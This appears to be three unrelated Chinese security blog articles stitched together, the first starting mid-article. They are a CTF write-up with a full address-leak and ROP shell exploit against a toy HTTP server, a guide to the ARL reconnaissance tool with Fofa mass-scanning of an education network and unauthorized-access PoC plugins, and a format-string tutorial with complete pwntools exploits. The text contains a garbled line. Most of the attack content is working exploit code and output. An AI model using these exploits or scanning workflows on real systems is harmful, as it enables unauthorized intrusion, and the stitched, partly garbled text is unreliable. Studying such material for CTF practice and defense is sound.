char *line = (char*) malloc(end-start);
中,end出现小于start的情况。我们可以输入多个\n来使得heap足够大,避免溢出的情况。
代码可以看到:
int sendPostMessage(request req, response res, int connfd, char *linePost){
char buffer[MAXLINE];
//Prepara cabecalho HTML
sprintf(buffer, "<html><head><title>Submitted Form</title></head>");
//Cria body
strcat(buffer, "<body><h1>Received variables</h1><br><table>");
strcat(buffer, "<tr><th>Variables</th><th>Values</th></tr>");
char * pch;
char temp[250];
pch = strtok (linePost,"&=");
while (pch != NULL)
{
sprintf(temp, "<tr><td>%s</td>", pch);
strcat(buffer, temp);
pch = strtok (NULL, "&=");
sprintf(temp, "<td>%s</td></tr>", pch);
strcat(buffer, temp);
pch = strtok (NULL, "&=");
}
//Fecha body e html
strcat(buffer, "</table></body></html>");
sendHeader(connfd, req, res, "OK", "text/html");
write(connfd, buffer, strlen(buffer));
return 0;
}
也就是会根据&或者=分割之后,进行连接到temp。
其中linepost如下:
void httpd(int connfd) {
char buffer[MAXLINE]; // Buffer dos dados de input
char fileBuffer[MAXLINE];
request req; // Pedido do cliente
response res; // Resposta do servidor
struct stat st;
int n;
int sizeContent = -1;
// Le o que está vindo no socket
n=read(connfd, buffer, MAXLINE);
int i = strlen(buffer);
char options[MAXLINE];
int statusRead = 0;
strcpy(options, buffer);
while(statusRead == 0)
{
if((options[i-3] == '\n' && options[i-1] == '\n') || options[i-1] != '\n')
{
statusRead = 1;
}
else
{
n=read(connfd, options, MAXLINE);
//strcat(buffer, options);
//printf("%s\n", buffer);
i = strlen(options);
if(options[0] == '\r' && options[1] == '\n' && n == 2)
statusRead = 1;
}
}
// Faz o parse da requisicao
req = parseRequest(buffer);
char *linePost;
//Encontra no buffer o tamanho do conteudo
if(strcmp(req.method, "POST") ==0)
{
linePost = getLastLineRead(buffer);
}
//……char *getLastLineRead(char *buffer) {
int numLines = 0;
int start = 0;
int end = 0;
int bufSize = strlen(buffer);
int i = 0;
int j = 0;
for (i=0;i<bufSize;i++) {
if (buffer[i]=='\n') {
numLines++;
}
}
int *vetPositionLine = (int*) malloc(numLines);
for (i=0;i<bufSize;i++) {
if (buffer[i]=='\n') {
vetPositionLine[j] = i;//出现回车的地方
j++;
}
}
start = vetPositionLine[numLines-3];
end = vetPositionLine[numLines-1];
char *line = (char*) malloc(end-start);
strncpy(line,buffer+end,bufSize-end);
return line;
}
就是说当他会把\n处作为起始地址,然后把后面的内容复制到line,这样就可以泄漏地址了!
使用exp:
from evilblade import *
context(os='linux', arch='amd64')
setup('./pwn')
libset('./libc.so.6')
rsetup('127.0.0.1',33333)
payload = b'POST '+ b'A'*3982 + b'\n'
pause()
sl(payload)
ia()
调试方法:执行exp后,用ps -ef | grep 'httpd'之后找到最新的进程用sudo gdb -p PID即可。
或者直接使用命令:sudo gdb -p $(pgrep -n -f './httpd 12345')
最后会从buf+你输入的数据长度,取一个数据写到heap中,下次取出来作参数。
主要对此处进行断点观察。
可以看到:
由此可以泄漏出libc甚至其他了。
使用脚本:
from evilblade import *
context(os='linux', arch='amd64')
setup('./pwn')
libset('./libc.so.6')
rsetup('127.0.0.1',33333)
payload = b'POST '+ b'A'*3982 + b'\n'
sl(payload)
ru("Values</th></tr><tr><td>")
stack = u32(rv(4))
dx(stack)
ld = u32(rv(4))-0xc0c
dx(ld)
libc = u32(rv(4))-2324400
dx(libc)
ia()
泄漏得到:
---------------
your stack is >>> 0xff9c9f0a
---------------
---------------
your ld is >>> 0xedf40000
---------------
---------------
your libc is >>> 0xedcca000
---------------
构造ROP
从这个部分可以发现,会将原本的内容根据&=分割,然后加上<tr><td>之类的字符串,使得字符串长度变大,会导致栈溢出。那么我们根据前面得到的基地址,和这个部分漏洞进行ROP构造,从而getshell。
char * pch;
char temp[250];
pch = strtok (linePost,"&=");
while (pch != NULL)
{
sprintf(temp, "<tr><td>%s</td>", pch);
strcat(buffer, temp);
pch = strtok (NULL, "&=");
sprintf(temp, "<td>%s</td></tr>", pch);
strcat(buffer, temp);
pch = strtok (NULL, "&=");
}
做以下构造,经过多次尝试终于得到了控制返回地址为xxxx:
from evilblade import *
context(os='linux', arch='amd64')
setup('./pwn')
libset('./libc.so.6')
rsetup('127.0.0.1',33333)
payload = b'POST '+ b'A='*1850
#test= cyclic(0x700).decode()
#modified_test = ''.join(['=' if (i) % 5 == 0 else test[i] for i in range(len(test))])
#d(modified_test)
payload = b'POST / A\n'+ b"A"*2400 + b"\n"
payload += b"=aaxxca=adaaaaa=eaaaa=aaag=aaha=aiaa=jaaa=aaal=aama=anaa=oaaa=aaaq=aara=asaa=taaa=aaav=aawa=axaa=yaaa=aabb=abca=bdaa=eaab=aabg=abha=biaa=jaab=aabl=abma=bnaa=oaab=aabq=abra=bsaa=taab=aabv=abwa=bxaa=yaab=aacb=acca=cdaa=eaac=aacg=acha=ciaa=jaac=aacl=acma=cnaa=oaac=aacq=acra=csaa=taac=aacv=
payload += b"=" + p32(0xeb029050)*10+ b"xxxx" + b"="
d(payload)
dpx('len',len(payload))
pause()
sd(payload)
其中xxxx为任意地址,可以返回!
由于 sprintf的原因,不能输入\x00和\n之类的作为rop,我这里采取加减法的方式进行绕过,先输入不包含0和0a的字符,后续根据加减恢复到我们需要的字符。
搜索有:
pwndbg> search -4 0x11111111
Searching for value: b'\x11\x11\x11\x11'
libc.so.6 0xf0ca28f4 0x11111111
libc.so.6 0xf0ca2a08 0x11111111
libc.so.6 0xf0ca2a0c 0x11111111
计算得到:
λ ~/ python
Python 3.11.6 (main, Nov 14 2023, 09:36:21) [GCC 13.2.1 20230801] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> hex(0xf0ca28f4 -0xf0af1000)
'0x1b18f4'#这是libc偏移
>>> hex(0x100000000-0x11111111)
'0xeeeeeeef'
>>>
那么我们用以上作为差值计算,其中0x11111111+0xeeeeeeef相加等于0。
构造的ROP如下:
push_esi = p32(libc+0x00061c0d) # push esi ; ret
nop_ret = p32(libc+0x0002fce8) # nop ; ret
read = p32(symoff("read",libc))
pop_ebx = p32(0x0002c01f+libc) # pop ebx ; ret
add_ebx = p32(0x001959c2 +libc)# add ebx, eax ; add eax, 2 ; ret)
pop_eax = p32(libc+0x0002ed92)#: pop eax ; ret)
add_ecx = p32(libc+0x000b4fd3) # : add ecx, dword ptr [ebx + 0x5f082444] ; ret)
# dup2($ebx,$ecx)
rop = pop_esi + dup22
rop += pop_ebx + p32(libc+0x1b18f4-0x5f082444)
rop += pop_ecx_eax + p32(0xeeeeeeef)*2
rop += add_ecx #$ecx = 0
rop += pop_ebx + p32(0xeeeeeeef) + pop_eax + p32(0x11111111+0x4)
rop += add_ebx #$ebx = 4
rop += push_esi
rop += pop_esi + dup22
rop += pop_ebx + p32(libc+0x1b18f4-0x5f082444)
rop += pop_ecx_eax + p32(0xeeeeeeef+0x1)*2
rop += add_ecx #$ecx=1
rop += pop_ebx + p32(0xeeeeeeef) + pop_eax + p32(0x11111111+0x4)
rop += add_ebx #$ebx = 4
rop += push_esi
rop += p32(symoff("system",libc)) + p32(0xdeadbef) + p32(libc+0x001bd0d5)
if b"=" in rop or b"\x00" in rop:
print("stop!")
pause()
payload = b'POST '+ b"A"*2400 + b"\n"
payload += b"=aaxxca=adaaaaa=eaaaa=aaag=aaha=aiaa=jaaa=aaal=aama=anaa=oaaa=aaaq=aara=asaa=taaa=aaav=aawa=axaa=yaaa=aabb=abca=bdaa=eaab=aabg=abha=biaa=jaab=aabl=abma=bnaa=oaab=aabq=abra=bsaa=taab=aabv=abwa=bxaa=yaab=aacb=acca=cdaa=eaac=aacg=acha=ciaa=jaac=aacl=acma=cnaa=oaac=aacq=acra=csaa=taac=aacv=
payload += b"=" + (nop_ret)*10
payload += rop
payload += b"="
完整exp如下:
from evilblade import *
context(os='linux', arch='amd64')
setup('./pwn')
libset('./libc.so.6')
rsetup('127.0.0.1',33333)
payload = b'POST '+ b'A'*3982 + b'\n'
sl(payload)
ru("Values</th></tr><tr><td>")
stack = u32(rv(4))-0x1ed0a
dx(stack)
ld = u32(rv(4))-0xc0c
dx(ld)
libc = u32(rv(4))-2324400
dx(libc)
close()
rsetup('127.0.0.1',33333)
payload = b'POST '+ b'A='*1850
#test= cyclic(0x700).decode()
#modified_test = ''.join(['=' if (i) % 5 == 0 else test[i] for i in range(len(test))])
#d(modified_test)
sub_eax_ecx = p32(libc + 0x0018b0f8) # sub eax, ecx ; ret
push_eax = p32(libc + 0x00036a7d) # push eax ; ret
pop_ecx_eax = p32(libc + 0x001280f4) # pop ecx ; pop eax ; ret
dup22 = p32(symoff("dup2",libc)+0xe)
push_edx = p32(libc+0x00192ac8) # push edx ; ret
pop_edx = p32(libc+0x00037375) # pop edx ; ret
pop_esi = p32(libc+0x00021479) # pop esi ; ret
push_esi = p32(libc+0x00061c0d) # push esi ; ret
nop_ret = p32(libc+0x0002fce8) # nop ; ret
read = p32(symoff("read",libc))
pop_ebx = p32(0x0002c01f+libc) # pop ebx ; ret
add_ebx = p32(0x001959c2 +libc)# add ebx, eax ; add eax, 2 ; ret)
pop_eax = p32(libc+0x0002ed92)#: pop eax ; ret)
add_ecx = p32(libc+0x000b4fd3) # : add ecx, dword ptr [ebx + 0x5f082444] ; ret)
# dup2($ebx,$ecx)
rop = pop_esi + dup22
rop += pop_ebx + p32(libc+0x1b18f4-0x5f082444)
rop += pop_ecx_eax + p32(0xeeeeeeef)*2
rop += add_ecx #$ecx = 0
rop += pop_ebx + p32(0xeeeeeeef) + pop_eax + p32(0x11111111+0x4)
rop += add_ebx #$ebx = 4
rop += push_esi
rop += pop_esi + dup22
rop += pop_ebx + p32(libc+0x1b18f4-0x5f082444)
rop += pop_ecx_eax + p32(0xeeeeeeef+0x1)*2
rop += add_ecx #$ecx=1
rop += pop_ebx + p32(0xeeeeeeef) + pop_eax + p32(0x11111111+0x4)
rop += add_ebx #$ebx = 4
rop += push_esi
rop += p32(symoff("system",libc)) + p32(0xdeadbef) + p32(libc+0x001bd0d5)
if b"=" in rop or b"\x00" in rop:
print("stop!")
pause()
payload = b'POST '+ b"A"*2400 + b"\n"
payload += b"=aaxxca=adaaaaa=eaaaa=aaag=aaha=aiaa=jaaa=aaal=aama=anaa=oaaa=aaaq=aara=asaa=taaa=aaav=aawa=axaa=yaaa=aabb=abca=bdaa=eaab=aabg=abha=biaa=jaab=aabl=abma=bnaa=oaab=aabq=abra=bsaa=taab=aabv=abwa=bxaa=yaab=aacb=acca=cdaa=eaac=aacg=acha=ciaa=jaac=aacl=acma=cnaa=oaac=aacq=acra=csaa=taac=aacv=
payload += b"=" + (nop_ret)*10
payload += rop
payload += b"="
d(payload)
dpx('len',len(payload))
dpx("begin",uu64(pop_esi))
dpx("nop",uu64(nop_ret))
dx(stack)
pause()
sd(payload)
ia()
攻击结果:
ARL分析与进阶使用
在使用ARL(Asset Reconnaissance Lighthouse资产侦察灯塔系统,项目地址地址为https://github.com/TophantTechnology/ARL)的时候,有两个问题比较困扰我:
1. ARL使用Fofa导入数据的时候怎么降重?
2. 如何自己手动编写Poc?
在网上查阅了一些相关资料后,我发现并没有有师傅写的很清晰,于是诞生了写这篇文章的想法。
这篇文章不涉及ARL的基础搭建过程和基础使用过程,如果您之前没有使用过ARL,详情可以参考官网教程:https://tophanttechnology.github.io/ARL-doc/system_install/
1.Fofa降重
先说结论,是由于Fofa_api的限制而不是ARL本身的问题
来源于我之前的使用体验,使用同样的Fofa语句,比如能搜到大量地的资产,但是ARL只会跑几千条,然后我们反复运行发现得到的资产结果是一致的,这样就大大地影响了配合Fofa使用好处,只能自己更换不同的Fofa语句来实现降重,非常麻烦。
首先我们先黑盒看看调用fofa的流程:
POST /api/task_fofa/test HTTP/2
{"query":"org=\"China Education and Research Network Center\""}HTTP/2 200 OK
{"message": "success", "code": 200, "data": {"size": 13492282, "query": "org=\"China Education and Research Network Center\""}}
可以看见这里返回的结果是13492282条
然后我们直接去项目里面去找:
路径为:ARL-2.6.1\app\routes\taskFofa.py
from flask_restx import Namespace, fields
from app.utils import get_logger, auth, build_ret, conn_db
from app.modules import ErrorMsg, CeleryAction
from app.services.fofaClient import fofa_query, fofa_query_result
from app import celerytask
from bson import ObjectId
from . import ARLResource
ns = Namespace('task_fofa', description="Fofa 任务下发")
logger = get_logger()
test_fofa_fields = ns.model('taskFofaTest', {
'query': fields.String(required=True, description="Fofa 查询语句")
})
@ns.route('/test')
class TaskFofaTest(ARLResource):
@auth
@ns.expect(test_fofa_fields)
def post(self):
"""
测试Fofa查询连接
"""
args = self.parse_args(test_fofa_fields)
query = args.pop('query')
data = fofa_query(query, page_size=1)
if isinstance(data, str):
return build_ret(ErrorMsg.FofaConnectError, {'error': data})
if data.get("error"):
return build_ret(ErrorMsg.FofaKeyError, {'error': data.get("errmsg")})
item = {
"size": data["size"],
"query": data["query"]
}
return build_ret(ErrorMsg.Success, item)
add_fofa_fields = ns.model('addTaskFofa', {
'query': fields.String(required=True, description="Fofa 查询语句"),
'name': fields.String(required=True, description="任务名"),
'policy_id': fields.String(description="策略 ID")
})
@ns.route('/submit')
class AddFofaTask(ARLResource):
@auth
@ns.expect(add_fofa_fields)
def post(self):
"""
提交Fofa查询任务
"""
args = self.parse_args(add_fofa_fields)
query = args.pop('query')
name = args.pop('name')
policy_id = args.get('policy_id')
task_options = {
"port_scan_type": "test",
"port_scan": True,
"service_detection": False,
"service_brute": False,
"os_detection": False,
"site_identify": False,
"file_leak": False,
"ssl_cert": False
}
data = fofa_query(query, page_size=1)
if isinstance(data, str):
return build_ret(ErrorMsg.FofaConnectError, {'error': data})
if data.get("error"):
return build_ret(ErrorMsg.FofaKeyError, {'error': data.get("errmsg")})
if data["size"] <= 0:
return build_ret(ErrorMsg.FofaResultEmpty, {})
fofa_ip_list = fofa_query_result(query)
if isinstance(fofa_ip_list, str):
return build_ret(ErrorMsg.FofaConnectError, {'error': data})
if policy_id and len(policy_id) == 24:
task_options.update(policy_2_task_options(policy_id))
task_data = {
"name": name,
"target": "Fofa ip {}".format(len(fofa_ip_list)),
"start_time": "-",
"end_time": "-",
"task_tag": "task",
"service": [],
"status": "waiting",
"options": task_options,
"type": "fofa",
"fofa_ip": fofa_ip_list
}
task_data = submit_fofa_task(task_data)
return build_ret(ErrorMsg.Success, task_data)
def policy_2_task_options(policy_id):
options = {}
query = {
"_id": ObjectId(policy_id)
}
data = conn_db('policy').find_one(query)
if not data:
return options
policy_options = data["policy"]
policy_options.pop("domain_config")
ip_config = policy_options.pop("ip_config")
site_config = policy_options.pop("site_config")
options.update(ip_config)
options.update(site_config)
options.update(policy_options)
return options
def submit_fofa_task(task_data):
conn_db('task').insert_one(task_data)
task_id = str(task_data.pop("_id"))
task_data["task_id"] = task_id
task_options = {
"celery_action": CeleryAction.FOFA_TASK,
"data": task_data
}
celery_id = celerytask.arl_task.delay(options=task_options)
logger.info("target:{} celery_id:{}".format(task_id, celery_id))
values = {"$set": {"celery_id": str(celery_id)}}
task_data["celery_id"] = str(celery_id)
conn_db('task').update_one({"_id": ObjectId(task_id)}, values)
return task_data
其中有一个类和俩函数在其他地方:
# -*- coding:UTF-8 -*-
import base64
from app.config import Config
from app import utils
from celery.utils.log import get_task_logger
logger = get_task_logger(__name__)
class FofaClient:
def __init__(self, email, key, page_size=9999):
self.email = email
self.key = key
self.base_url = Config.FOFA_URL
self.search_api_url = "/api/v1/search/all"
self.info_my_api_url = "/api/v1/info/my"
self.page_size = page_size
self.param = {}
def info_my(self):
param = {
"email": self.email,
"key": self.key,
}
self.param = param
data = self._api(self.base_url + self.info_my_api_url)
return data
def fofa_search_all(self, query):
qbase64 = base64.b64encode(query.encode())
param = {
"email": self.email,
"key": self.key,
"qbase64": qbase64.decode('utf-8'),
"size": self.page_size
}
self.param = param
data = self._api(self.base_url + self.search_api_url)
return data
def _api(self, url):
data = utils.http_req(url, 'get', params=self.param).json()
if data.get("error") and data["errmsg"]:
raise Exception(data["errmsg"])
return data
def search_cert(self, cert):
query = 'cert="{}"'.format(cert)
data = self.fofa_search_all(query)
results = data["results"]
return results
def fetch_ip_bycert(cert, size=9999):
ip_set = set()
logger.info("fetch_ip_bycert {}".format(cert))
try:
client = FofaClient(Config.FOFA_EMAIL, Config.FOFA_KEY, page_size=size)
items = client.search_cert(cert)
for item in items:
ip_set.add(item[1])
except Exception as e:
logger.warn("{} error: {}".format(cert, e))
return list(ip_set)
def fofa_query(query, page_size=9999):
try:
if not Config.FOFA_KEY or not Config.FOFA_KEY:
return "please set fofa key in config-docker.yaml"
client = FofaClient(Config.FOFA_EMAIL, Config.FOFA_KEY, page_size=page_size)
info = client.info_my()
if info.get("vip_level") == 0:
return "不支持注册用户"
# 普通会员,最多只查100条
if info.get("vip_level") == 1:
client.page_size = min(page_size, 100)
data = client.fofa_search_all(query)
return data
except Exception as e:
error_msg = str(e)
error_msg = error_msg.replace(Config.FOFA_KEY[10:], "***")
return error_msg
def fofa_query_result(query, page_size=9999):
try:
ip_set = set()
data = fofa_query(query, page_size)
if isinstance(data, dict):
if data['error']:
return data['errmsg']
for item in data["results"]:
ip_set.add(item[1])
return list(ip_set)
raise Exception(data)
except Exception as e:
error_msg = str(e)
return error_msg
诶?我看到这个代码的时候我感觉他这里写的没有毛病,那么我的疑问变得更重了,为什么我查询的结果明明有一千万多条,但是实际到我们的项目条数就几千条:
conn_db('task').insert_one(task_data)
根据上面这条代码,于是我进入了docker容器,查看了数据库的具体信息:
大致数据就是下面这种格式:
"fofa_ip" : [ "xxx.xxx.xxx.xxx", ...... ], "celery_id" : "xxx", "statistic" : { "site_cnt" : 3935, "domain_cnt" : 0, "ip_cnt" : 2590, "cert_cnt" : 0, "service_cnt" : 0, "fileleak_cnt" : 3068, "url_cnt" : 0, "vuln_cnt" : 94, "npoc_service_cnt" : 0, "cip_cnt" : 0, "nuclei_result_cnt" : 0, "stat_finger
这里对应的fofa_ip数量与我在前端上面看到的数量一致,我就纳闷了为什么这里就只有这么几千条IP数量呢?我准备把这部分的代码手动抽出来在我本地上跑一遍试试看看结果到底是什么?
我在本地运行后发现返回的ip数量是由page_size决定的,如下面的代码
def fofa_query_result(query, page_size=9999):
try:
ip_set = set()
data = fofa_query(query, page_size)
if isinstance(data, dict):
if data['error']:
return data['errmsg']
for item in data["results"]:
ip_set.add(item[1])
return list(ip_set)
我将page_size改为20000,发现根本不返回结果了,这里我才想起来回到Fofa_API的官网去查看,发现了是API一次只能返回最多10000条的限制。
那么解决办法是什么呢?
我们可以看到Fofa Api这里存在一个翻页参数,我们的改进措施就是让ARL使用Fofa API的时候增加一个翻页参数而不是不添加导致每次都是第一页。面向大众的话,要我们一个一个去修改源代码是不太现实的,我这里将给原作者发起一个issue,期待他的更新。
最简单的措施就是我们改进一下Fofa语句:
(status_code="200" || banner="HTTP/1.1 200 OK") && org="China Education and Research Network Center"
避免过期资产误杀:
这里是有20万多条独立IP,我们可以利用Fofa_api先把这20多万条独立IP下载下来,使用ARL本身的添加任务功能将这些IP填进去,这样的缺陷就是不能跑Poc,要跑Poc的话可以等待我们这20多万的数据跑完一遍后,然后直接风险任务下发选择对应的Poc就可以了。
添加任务的时候使用下列的格式加入:
IP1
IP2
IP3
IP4
IP5
IP6
...
2.Poc编写
想要优雅地使用ARL,会自己编写更新Poc是必不可少的。
ARL的poc工具在路径/opt/ARL-NPoC/xing/plugins/poc中我们后续在这个路径去修改,我们可以从作者的仓库看看这个工具:https://github.com/1c3z/ARL-NPoC
这里需要单独注意一点,我们在安装的时候
pip3 install -r requirements.txt
这里最后一个PyYAML直接安装会报错,我们直接使用下列命令直接安装。
pip install PyYAML
然后安装运行:
pip3 install -e .
就可以使用了:
大致使用教程:
这里我拿直接ARL给我扫出来的一个弱口令进行验证:
xing brute -t 目标地址
然后我们就可以开始编写Poc了
我们来分析一个较为简单的但是很实用的Actuator API 未授权访问漏洞的POC:
from xing.core.BasePlugin import BasePlugin
from xing.utils import http_req
from xing.core import PluginType, SchemeType
class Plugin(BasePlugin):
def __init__(self):
super(Plugin, self).__init__()
self.plugin_type = PluginType.POC # 定义该插件的类型便于后续调用
self.vul_name = "Actuator API 未授权访问"
self.app_name = 'Actuator'
self.scheme = [SchemeType.HTTPS, SchemeType.HTTP]
def verify(self, target):
paths = ["/env", "/actuator/env", "/manage/env", "/management/env", "/api/env", "/api/actuator/env"]
for path in paths:
url = target + path
conn = http_req(url)
if b'java.runtime.version' in conn.content:
self.logger.success("发现 Actuator API 未授权访问 {}".format(self.target))
return url
主要流程就是先定义一个插件的类,然后使用函数__init__(self)写出这个插件的一些信息,具体实现过程在verify函数中实现。
这里我就编写一个influxdb的未授权访问的漏洞:
from xing.core.BasePlugin import BasePlugin
from xing.utils import http_req
from xing.core import PluginType, SchemeType
class Plugin(BasePlugin):
def __init__(self):
super(Plugin, self).__init__()
self.plugin_type = PluginType.POC
self.vul_name = "Influxdb未授权访问"
self.app_name = 'Influxdb'
self.scheme = [SchemeType.HTTPS, SchemeType.HTTP]
def verify(self, target):
url = target + "/query?q=SHOW%20USERS"
conn = http_req(url)
if b'"results":' in conn.content:
self.logger.success("发现 Influxdb 未授权访问 {}".format(self.target))
return url
else:
return False
然后我们直接在本地复现一下,是可以使用的:
接着我们部署到我们的服务器上,注意这里我们将POC同步到arl_web和arl_work两个容器中:
大致流程就是分别进入这两个容器然后添加对应文件下的Poc即可:
cd /opt/ARL-NPoC/xing/plugins/
我们更新一下Poc后再前端也可以查看到了:
然后经过测试确实可以:
3.总结
在我的实际渗透测试过程中,ARL给我的信息搜集带来了很大的便利性。是一种全面的信息搜集的有力方式!这篇文章主要是解决一点使用ARL过程中的问题,以及编写自己的Poc的流程。
PWN学习之格式化字符串及CTF常见利用手法
格式化字符串的基本漏洞点
格式化字符串漏洞是一种常见的安全漏洞类型。它利用了程序中对格式化字符串的处理不当,导致可以读取和修改内存中的任意数据。
格式化字符串漏洞通常发生在使用 C 或类似语言编写的程序中,其中 printf、sprintf、fprintf 等函数用于将数据格式化为字符串并进行输出。当这些函数的格式字符串参数(比如 %s、%d等)由用户提供时,如果未正确地对用户提供的输入进行验证和过滤,就可能存在格式化字符串漏洞。
攻击者可以通过构造特定的格式化字符串,利用漏洞读取和修改程序内存中的敏感数据。一些可能的攻击方式包括:
读取内存:通过在格式字符串中使用 %x 或 %s 占位符,可以泄露栈上和堆上的内存内容,例如函数返回地址、内部变量值等。
修改内存:通过在格式字符串中使用 %n 占位符,可以将已输出字符的数量写入指定地址,从而实现对内存的修改。
常用任意改:%c和%n的配合使用
我们格式化字符串修改的是第一层指针中的内容 即我们只能写a->b->c中c的内容
p64()+b'%nc'+'%A$n'
#第A位栈中偏移位 向第A位的地址中改写为数字n的大小,一次n只能最多改4个字节大小的数据
在漏洞利用中,%n、%hn和%hh都可以用于将已经存储在堆栈上的数值写入内存中的任意位置。这些格式字符串的容量取决于它们所针对的底层数据类型 %n格式字符串用于将已经打印出来的字符数(而不是已经写入输出缓冲区的字符数)写入指定地址。因此,它的容量取决于可控制的输出大小,通常在4字节范围内。 %h格式字符串将16位无符号整数写入指定地址。由于其只能写入两个字节,因此其容量范围为0到65535。 %hhn格式字符串将8位无符号整数写入指定地址。由于其只能写入一个字节,因此其容量范围为0到255。 需要注意的是,使用这些格式字符串时,必须非常小心以确保正确性和安全性。在使用这些格式字符串进行漏洞利用
不同版本的堆管理和栈偏移有可能不一样c
aaaa%p..... 32位测输入点偏移 aaaaaaaa%p...... 64位测输入点偏移
特别注意(截断函数\x00对payload的影响)
利用 fmtarg 测量某个栈上地址在栈上的偏移位置
8字节(64位)数据或者4字节(32位)数据占一个偏移位
One_gadget 结合应用:
one_gadget在进行getshell ()前要先满足寄存器的条件
另一种可能的方法:
如果能泄露出栈地址,就能够像非栈上的格式化字符串那样,将布置的栈结构放在栈上然后劫持返回地址,就可以达到多次写的效果。(即利用可以利用多次的格式化字符串)
例题:国际赛final_ctf 2(同时读写加One_gadget):
解题步骤
首先我们直接先进行代码审计如下图:
我们发现了他的基本漏洞点为栈上的格式化字符串
漏洞利用和需要注意的点
我们进行该漏洞点的利用:首先查看栈上状况
我们在这里需要同时一次读写机会利用栈上的格式化字符串任意读写
所以要考虑到截断的问题所以要进行截断的避免,我们调整payload在最后填入栈上的对应偏移的地址填为size的bss地址进行格式化字符串改,改完之后效果如下:
最后再使用一次ubuntu20.04下的one_gadget设置即可getshell
注意这里为了满足20.04下严苛的条件我们需要对寄存器进行设置
> pop_r12:0x40086c
> pop=0x040086c#pop了5个寄存器
> one_gadget_offset=[0xe3afe,0xe3b01,0xe3b04]#one_gadget libc版本查看可以利用的gadget
> one_gadget_addr=libc_base+one_gadget_offset[0]#20840
> #最后打one
> payload2=b'a'*(0x48)+p64(canary)+b'a'*8+p64(pop)+p64(0)+p64(0)+p64(0)+p64(0)+p64(one_gadget_addr)#20 onegadgetliyong
> p.sendlineafter(b'affiliation: \n',payload2)#将寄存器赋空值满足one_gadget的触发条件
最后exp如下
from pwn import*
#from LibcSearcher import *
context(log_level='debug',arch='amd64',os='linux')
choice=1
if choice == 1:
p=process('./one-format-string')
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")#当前链接的libc版本
elf=ELF('./one-format-string')
address=0x400780
gdb.attach(p,"finish\n b *address")
sleep(1)
size=0x601060 #14
payload=b'aaaaa'+b'%27$p|%23$p'+b'bbbbbb'+b'%256c'+b'%18$n'+p64(0x601060)#同时读写
#这里的最后的size地址是为了填到栈上相对应的偏移位置我们可以直接对其进行修改
p.sendlineafter(b'name: \n',payload)
p.recvuntil("aaaaa")
main_start_243=int(p.recv(14),16)
libc_base = main_start_243 - 0xf3 - libc.symbols['__libc_start_main']
print("leak_addr",hex(main_start_243))
print("libc_base",hex(libc_base))
p.recvuntil(b'|')
canary=int(p.recv(18),16)
pop_r12:0x40086c
print("canary",hex(canary))
pop=0x040086c#pop了5个寄存器
one_gadget_offset=[0xe3afe,0xe3b01,0xe3b04]#one_gadget libc版本查看可以利用的gadget
one_gadget_addr=libc_base+one_gadget_offset[0]#20840
#最后打one
payload2=b'a'*(0x48)+p64(canary)+b'a'*8+p64(pop)+p64(0)+p64(0)+p64(0)+p64(0)+p64(one_gadget_addr)#20 onegadgetliyong
p.sendlineafter(b'affiliation: \n',payload2)#将寄存器赋空值满足one_gadget的触发条件
p.interactive()
这里需要注意的点:
是我们要考虑printf对\X00 字符串的截断
正确的payload.只有这一种形式:payload=b'aaaaaa'+b'%20$p %23$p'+b'bbbbbb'+b'%256c'+b'%18$n'+p64(0x601060)
因为x00的存在,所以Printf:无法使用到后面的%16$n
补充:c语言下的所有格式化识别符
C语言中的格式化字符是用于格式化输出的占位符,常用于printf等函数中。下面是常用的格式化字符及其含义:
%d:输出有符号整数。
%u:输出无符号整数。
%f:输出浮点数。
%c:输出单个字符。
%s:输出字符串。
%p:输出指针的地址。
%e:用科学计数法输出浮点数。
%E:用科学计数法输出浮点数,并将e大写。
%g:输出浮点数,自动选择%f或%e格式。
%G:输出浮点数,自动选择%f或%E格式,并将E大写。
%x:输出无符号整数的十六进制数。
%o:输出无符号整数的八进制数。
%X:输出无符号整数的十六进制数,并将字母ABCDEF大写。
%i:输出有符号整数。
%n:输出已经输出的字符数。
%%:输出%字符本身。
需要注意的是,这些格式化字符可以与其它字符组合使用,例如%d和%10d分别表示输出有符号整数和输出宽度为10个字符的有符号整数。
C++ 中的格式化字符串的识别符与 C 语言是基本相同的,也包括上述提到的常用的格式化字符。不过 C++ 中还增加了一些额外的格式化字符串识别符,例如:
%a:输出十六进制浮点数,包括小数点和指数(如果存在)。
%A:输出十六进制浮点数,包括小数点和指数(如果存在),并将X和P大写。
%lld:输出长长整数。
%zu:输出size_t类型的无符号整数。
%n:和 C 语言相同,输出已经输出rra=[S字符数。
%t:在格式化字符串中使用std::chrono::time_point类型的时间。
需要注意的是,不同编译器可能对 C 和 C++ 的格式化字符串识别符实现略有不同,所以在使用时需要根据实际情况进行调整。
ctf中不同考察点的例题以及思路解析:
[虎符CTF 2022]babygame(格式化字符串和随机数绕过)
保护全开,我们进行静态代码审计
通过观察他的canary可以看到他在栈中的位置
思路: 1.先通过回显泄露canary和栈地址
注意但是我们知道canary的上面就是seed,所以此时的seed已经被我们覆盖为0x6161616161616161了
2.通过修改函数的返回地址的最后两个字节再次进行一次格式化字符串利用 3.打one_gad
exp如下:
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'amd64'
io = process('./babygame')
io.sendlineafter(b'Please input your name:', b'1234567890' * 26 + b'aaaaa')
io.recvuntil(b'Hello, ')
io.recv(260 + 12)
stack_addr = u64(io.recv(6) + b'\x00\x00')
srand = 0x30393837
answer = [1, 2, 2, 1, 1, 1, 1, 2, 0, 0,
2, 2, 2, 1, 1, 1, 2, 0, 1, 0,
0, 0, 0, 1, 0, 1, 1, 2, 2, 1,
2, 2, 2, 1, 1, 0, 1, 2, 1, 2,
1, 0, 1, 2, 1, 2, 0, 0, 1, 1,
2, 0, 1, 2, 1, 1, 2, 0, 2, 1,
0, 2, 2, 2, 2, 0, 2, 1, 1, 0,
2, 1, 1, 2, 0, 2, 0, 1, 1, 2,
1, 1, 1, 2, 2, 0, 0, 2, 2, 2,
2, 2, 0, 1, 0, 0, 1, 2, 0, 2]
for i in range(100):
try:
io.sendlineafter(b'round', str(answer[i]).encode())
except EOFError:
print("Failed in " + str(i))
exit(0)
io.sendlineafter(b'Good luck to you.',
b'%62c%8$hhna%79$p' + p64(stack_addr - 0x218))
io.recvuntil(b'0x')
libc_addr = int(io.recv(12).decode(), 16)
print(hex(libc_addr))
libc_addr -= 243
Libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
base = libc_addr - Libc.symbols['__libc_start_main']
libc_system_addr = Libc.symbols['system']
